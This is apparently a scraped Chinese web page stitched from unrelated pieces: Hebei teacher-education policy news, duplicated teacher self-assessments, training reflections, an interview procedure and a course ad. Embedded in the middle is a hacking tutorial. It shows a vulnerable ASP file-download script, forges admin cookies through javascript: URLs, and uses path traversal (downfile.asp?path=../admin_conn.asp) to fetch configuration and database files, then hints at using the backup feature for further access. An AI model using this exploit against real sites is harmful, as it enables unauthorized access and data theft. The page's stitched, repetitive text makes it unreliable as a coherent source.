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河北教师教育网网站
网址：www.hbte.com.cn/
日前从省教育厅获悉，为解决我省教师教育存在的突出问题，推动教师教育改革发展，全面提升教师素质能力，我省近日印发《河北省教师教育振兴行动计划（2018―2022年）》。这一计划提出，到2022年，基本形成教师教育特色明显的现代教师培养体系和教师终身发展的支持服务体系。
实行师德表现“一票否决”
为加强师德建设，我省将实施师德养成教育全面推进行动。实行师德考核负面清单制度，建立师德考核档案和教师个人信用记录，把师德表现作为教师资格认定和定期注册、绩效考核、职称评定、岗位聘用、职务晋升、工资晋级、申报人才计划、评优奖励等方面的首要内容，实行师德表现“一票否决”。构建诚信承诺和失信惩戒机制，将师德师风建设作为教育督导评估重要内容。开展师德师风专项治理，着力解决在职中小学教师有偿补课及高校教师学术不端等师德失范突出问题。
我省将实施师范院校和师范专业布局结构调整，全面提高师范生的综合素养与能力水平。2020年停止中等学历层次学前教育专业招生，逐步引导高职院校将师范类非学前教育专业转为学前教育专业，逐步取消本科院校的师范专业专科层次培养，补充扩大师范专业本科层次培养规模。
调整师范专业人才培养结构。为幼儿园侧重培养高素质、善保教的.专科层次幼儿教师，扩大高职院校学前教育专业招生规模，重点支持3所幼儿师范高等专科学校开展学前教育专业专科层次的培养和专接本模式的探索，在本科师范院校中逐步扩大学前教育专业本科层次培养规模。为义务教育阶段学校侧重培养本科层次教师，2020年停止小学全科教师专科层次招生，启动高中起点小学全科教师本科层次培养工作。支持河北师范大学重点面向高中教育，开展本科、硕士研究生层次的师资培养，并鼓励相关院校开展教育硕士联合培养工作。
为乡村学校逐步补齐英语、音乐等短缺学科教师
为加强乡村教师队伍建设，我省将加大紧缺薄弱学科教师培养力度，提升乡村教师培训实效。扩大小学全科教师公费培养规模，实施乡村学校短缺学科教师补充计划，逐步补齐英语、音乐、体育、美术、信息技术等短缺学科教师，确保开齐开足国家规定课程。实施特级教师送教下乡计划，鼓励优秀退休教师到乡村学校支教，引领乡村青年教师成长。
同时，我省将改进乡村教师培训内容，注重新课标新教材和教育观念、教学方法培训，针对教育教学实际需要，赋予乡村教师更多选择权。
支持部分师范专业实行提前批次录取
为吸引优秀学生踊跃报考师范院校和师范专业，我省将逐步扩大省级公费师范生培养规模，实施市级小学全科公费师范生培养试点工作。支持部分办学条件好、教学质量高的师范专业实行提前批次录取，鼓励优秀学生入校后通过二次选拔方式进入师范专业学习。
为提升教师综合素质、专业化水平和创新能力，我省将实施教师教育在线开放课程建设，遴选认定一批省级教师教育精品在线开放课程，推动在线开放课程广泛应用共享。同时，实施新一周期中小学教师信息技术应用能力提升工程，建设教师专业发展“学分银行”，将培训学分作为中小学教师资格注册、职务评聘和考核的重要依据。
此外，我省将实施教师教育改革实验区建设工程，深化教师培养、培训、专业发展改革，推进教师教育体系和机制建设。
武夫 邪恶八进制
在/edit/downfile.asp中有如下代码:
<%
call downloadFile(Request(“path”))
function downloadFile(strFile)
strFilename = server.MapPath(strFile)
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject(“ADODB.Stream”)
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject(“Scripting.FileSystemObject”)
if not fso.FileExists(strFilename) then
Response.Write(“
” & strFilename & “ does not exist
”)
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write(“
” & err.Description & “
”)
Response.End
end if
Response.AddHeader “Content-Disposition”, “attachment; filename=” & f.name
Response.AddHeader “Content-Length”, intFilelength
Response.CharSet = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
End Function
%>
大意就是定义了一个downloadfile函数,用来下载文件.其中checklogin.asp是用来检查用户是否的登录的页面.查看他的源代码,有如下代码
<%
'cookie验证
if Request.Cookies(“admindj”)“1” then
Response.Write “
权限不足，你没有此功能的管理权限”
Response.end
end if
if Request.Cookies(“adminuser”)=“” or Request.Cookies(“adminpass”)=“” then
Response.Write “
权限不足，你没有此功能的管理权限.”
Response.end
end if
%>
cookies验证的是否登录,在浏览器中依次输入
javascript.:alert(document.cookie=“admindj=1”)
javascript.:alert(document.cookie=“adminuser=hackwolf”)
javascript.:alert(document.cookie=“adminpass=fuckyou”)
然后直接构造URL:
Copy code
localhost:81/edit/downfile.asp?path=../admin_conn.asp
顺利下载admin_conn.asp页面,happy
下载数据库,登录页面是:login.asp,登录
后台有备份数据库的功能,大家知道怎么做了吧
河北一大学网站被克隆成“北京高校”
本报讯 (记者 范春旭 展明辉)近日，网友发现“北京经济管理学院”网站克隆河北工程大学校网站，两网站页面布局，以及校园和校领导的图片都相同。昨日，市教委称北京无“北京经济管理学院”这一高校。
注册电话被指冒用
昨天，“北京经济管理学院”网站还能进入，和河北工程大学网站页面布局也完全相同。
“北京经济管理学院”网站上未留任何电话，只有一个电子邮箱地址，记者发邮件后截至发稿未得到回应。
记者在“北京经济管理学院”网站域名注册公司北京新网数码信息技术有限公司的`网站上，发现注册人是赵先生，并留有电话。记者致电，接听电话的是一位自称姓李的女士，李女士称没有注册过任何网站，也不认识赵先生。记者致电北京新网，电话无人接听。
北京无此高校
“北京经济管理学院”网站上称学校提供远程教育，可以帮助学员完成相关的本科和专科课程，学业完成后可取得相应学历证书。
昨日，北京市教委民办教育处和公办教育处均称北京民办和公办高校以及独立学院中均无“北京经济管理学院”，“这个学院可能就是一个培训机构。”北京教委一位工作人员说。
昨日，河北工程大学向所在地邯郸市公安局网监支队报案，事件正在进一步调查中。
中国大学网 (责任编辑：卜范龙)网站教师工作自我鉴定
在xx担任网站教师，得到在校领导的支持帮助下，从而使我的教学有了生机和激情.在这一系列的工作中，现在我来做一个自我鉴定：
一、专业素质的提高，充实自我
在各级领导的关心下，在骨干教师这个群体的帮助下，坚持教学相长，获得自我发展。勤听课，通过课堂听课，与其它教师进行交流与沟通,吸取精髓；勤质疑，勇于提出自己的问题或不同观点，在共同探索中达到共同进步；从中得到真切的感受，不断完善自我，促进个人专业知识的提升，让自己与新课程同成长。
二、提高专业能力，提升自我
精心备课；细心批改每一次作业，探索趣味性作业，创新性作业。要求批改作业后，认真、仔细、及时得讲解作业、分析作业。学会思考教育问题，积极把先进的教育理念转化为教师的行为，从反思中提升教学研究水平。每节课后，把自己在教学实践中发现的问题和有价值的东西摘记下来，享受成功，弥补不足，在总结经验中完善自我。
三、专业水平的提高，在理论中丰富自我
阅读网页设计相关书籍，经常上网看网页设计教程及论坛，勤动手设计，网页页面钻研新教材，新课标，研究教法，体会新课程的性质、价值、理念，提高自己的业务能力。学习教育教学方面的新思想，掌握新方式，运用新理论，提高教学效果，也是现代教师的必备素质，利用课余时间多多学习，提高自己的'专业水平。
我知道教师是人类灵魂的工程师，教师所从事的工作是天底下最光辉的事业。而且我知道作为党培养出来的人民教师，必须忠诚于党的教育事业，忠诚于人民的教育事业。在思想上我早就做好了作为一个人民教师的准备，我很想走向讲台，用自己的热情、知识培养祖国新一代的花朵。
当然我也知道教师是辛苦、清苦的，不过我不怕，我不在乎！我也做好了一切思想的准备！我会努力的工作，而且一定要做好自己的本职工作，反复钻研，认真学习，多与学生沟通，为学生考虑，为学生服务。
网站教师个人鉴定
在xx担任网站教师，得到在校领导的支持帮助下，从而使我的教学有了生机和激情.在这一系列的工作中，现在我来做个人鉴定：
一、专业素质的提高，充实自我。
在各级领导的关心下，在骨干教师这个群体的帮助下，坚持教学相长，获得自我发展。勤听课，通过课堂听课，与其它教师进行交流与沟通,吸取精髓；勤质疑，勇于提出自己的问题或不同观点，在共同探索中达到共同进步；从中得到真切的感受，不断完善自我，促进个人专业知识的提升，让自己与新课程同成长。
二、提高专业能力，提升自我
精心备课；细心批改每一次作业，探索趣味性作业，创新性作业。要求批改作业后，认真、仔细、及时得讲解作业、分析作业。学会思考教育问题，积极把先进的教育理念转化为教师的行为，从反思中提升教学研究水平。每节课后，把自己在教学实践中发现的问题和有价值的东西摘记下来，享受成功，弥补不足。在总结经验中完善自我。
三、专业水平的提高，在理论中丰富自我
阅读网页设计相关书籍，经常上网看网页设计教程及论坛，勤动手设计，网页页面钻研新教材，新课标，研究教法，体会新课程的性质、价值、理念，提高自己的业务能力。学习教育教学方面的新思想，掌握新方式，运用新理论，提高教学效果，也是现代教师的必备素质，利用课余时间多多学习，提高自己的专业水平。
我知道教师是人类灵魂的工程师，教师所从事的工作是天底下最光辉的事业。而且我知道作为党培养出来的'人民教师，必须忠诚于党的教育事业，忠诚于人民的教育事业。在思想上我早就做好了作为一个人民教师的准备，我很想走向讲台，用自己的热情、知识培养祖国新一代的花朵。当然我也知道教师是辛苦、清苦的，不过我不怕，我不在乎！我也做好了一切思想的准备！我会努力的工作，而且一定要做好自己的本职工作，反复钻研，认真学习，多与学生沟通，为学生考虑，为学生服务。
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在xx担任网站教师，得到在校领导的支持帮助下，从而使我的教学有了生机和激情.在这一系列的工作中，现在我来做个人鉴定：
一、专业素质的提高，充实自我。
在各级领导的关心下，在骨干教师这个群体的帮助下，坚持教学相长，获得自我发展。勤听课，通过课堂听课，与其它教师进行交流与沟通,吸取精髓；勤质疑，勇于提出自己的问题或不同观点，在共同探索中达到共同进步；从中得到真切的感受，不断完善自我，促进个人专业知识的提升，让自己与新课程同成长。
二、提高专业能力，提升自我。
精心备课；细心批改每一次作业，探索趣味性作业，创新性作业。要求批改作业后，认真、仔细、及时得讲解作业、分析作业。学会思考教育问题，积极把先进的教育理念转化为教师的行为，从反思中提升教学研究水平。每节课后，把自己在教学实践中发现的问题和有价值的东西摘记下来，享受成功，弥补不足。在总结经验中完善自我。
三、专业水平的.提高，在理论中丰富自我。
阅读网页设计相关书籍，经常上网看网页设计教程及论坛，勤动手设计，网页页面钻研新教材，新课标，研究教法，体会新课程的性质、价值、理念，提高自己的业务能力。学习教育教学方面的新思想，掌握新方式，运用新理论，提高教学效果，也是现代教师的必备素质，利用课余时间多多学习，提高自己的专业水平。
我知道教师是人类灵魂的'工程师，教师所从事的工作是天底下最光辉的事业。而且我知道作为党培养出来的人民教师，必须忠诚于党的教育事业，忠诚于人民的教育事业。在思想上我早就做好了作为一个人民教师的准备，我很想走向讲台，用自己的热情、知识培养祖国新一代的花朵。当然我也知道教师是辛苦、清苦的，不过我不怕，我不在乎！我也做好了一切思想的准备！我会努力的工作，而且一定要做好自己的本职工作，反复钻研，认真学习，多与学生沟通，为学生考虑，为学生服务。
教师教育培训心得体会 推荐度：教师教育教学培训心得体会 推荐度：教师教育培训心得体会 推荐度：教师培训心得 推荐度：教师教育培训心得体会 推荐度： 相关推荐
河北教育教师培训心得
为期四个月的“小学教师教学能力提高工程培训”活动结束了，半个月的理论学以及三个月的实践，让我学着、收获着。首先要感谢各级领导为我们搭建了这样的一个学平台，让我有机会聆听到专家们精彩的讲座。在短期培训中，大家互相帮助，共同进步，一起成长，分享快乐!
本次培训内容丰富，形式多样，有各级教育专家的精彩专题报告，有优秀的教学案例，有也有学员的互动讨论，更有导师的指导、引领。对我既有观念上的洗礼，也有理论上的提高，既有知识上的积淀，也有教学技艺的增长。这是收获丰厚的日子，也是促进我教学上不断成长的时光。下面，我将把自己此次培训学的心得与大家分享。
1、加强了师风师德建设。聆听有关“教师职业道德修养”的讲座，提高教师的政治思想素质和职业道德水平，增强从事教育工作的使命感、紧迫感和自我进取的意识。
2、获得了实用的教学技巧与理念。带着教学实践中的种.种疑问，我走进培训课堂。其中了令我记忆犹新的有：李老师的`《自由作与有效指导》，特别是李老师带来的二个作指导课例，使我感受颇深，受益良多;郑老师的《小学语文课外指导》，讲出了语文课外阅读在生活学中地位与作用，认我树立了新的教学观——读书就是最好的备课;李教师的《走进说课》让我一睹说课的真面目;徐X教授的《课程改革背景下的课堂教学有效性的思考》，让我明白课堂要上得实在些，讲究其实效性等等。是专家们的精彩讲座一次次的激起我内心的感应，更激起了我的反思。我喜悦的收获着专家们思想的精髓、理论的精华。
3、提升了教育教学技能。通过专家教师们的现场授课，让我们明白了什么是“教育技术”，更新了理念，还得以真正认识到如何使计算机能更有效地为教学服务，提高教师电脑应用能力，让青年骨干教师都能熟练掌握并应用简单的课件制做并能独立制作课件。
4、加强了理论与实践的结合。
在培训中论从理论还是教学上，这都是一个让我进步的有效良机。在回到一线教学实践中，我主动为老师提供教学研讨，还积极参与各类交流活动，虚心向同行学、请教，认真学新课程理念，积极探索有效的教学方法，时刻反思自己的教学行为，撰写反思、心得，努力提升自己的业务水平。
这次时间虽然短暂，但是能给我们带来强烈的感染和深深的理论引领及许多教学上实用的东西。我希望以后能有更多的机会参加这样的培训。
考生持准考证及身份证，按规定时间到达测试地点，进入候考室候考，按规定程序参加面试。
第一步：抽题。按考点安排，登录面试测评软件系统，计算机从题库中随机抽取试题，(幼儿园类别考生从抽取的2道试题中任选1道，其余类别只随机抽取1道试题)，经考生确认后，计算机打印试题清单。
第二步：备课。考生持试题清单、备课纸，进入备课室，撰写教案(或活动演示方案)。准备时间20分钟。
第三步：回答规定问题。考生由工作人员引导进入指定面试室。考官从试题库中随机抽取2道规定问题，要求考生回答。时间5分钟左右。
第四步：试讲/演示。考生按照准备的教案(或活动方案)进行试讲(或演示)。时间10分钟。
第五步：答辩。考官围绕考生试讲(或演示)内容进行提问，考生答辩。时间5分钟左右。
第六步：评分。考官依据评分标准对考生面试表现进行综合评分，填写《面试评分表》，经组长签字确认，同时通过面试测评软件系统提交评分。
[河北教师资格证面试流程]
内容介绍：课程从外在面试形象、内在教课思路两个方面，逻辑思维、口头表达两个侧面全面提高考生综合说课能力;科目内容涉及面试概述、说课(六大模块)、面试答辩、新课改历年等四大方面;教学组织形式是统一讲授、分组练习的形式;每个小组不超过10人，由助教老师带领练习和点评。
课程：分为协议保过班(2天1晚)
实战演练班(2天1晚)
实战突破班(3天2晚)
上课时间为12月01日-02日
上课地点：石家庄、保定、唐山、秦皇岛、承德、邯郸、沧州
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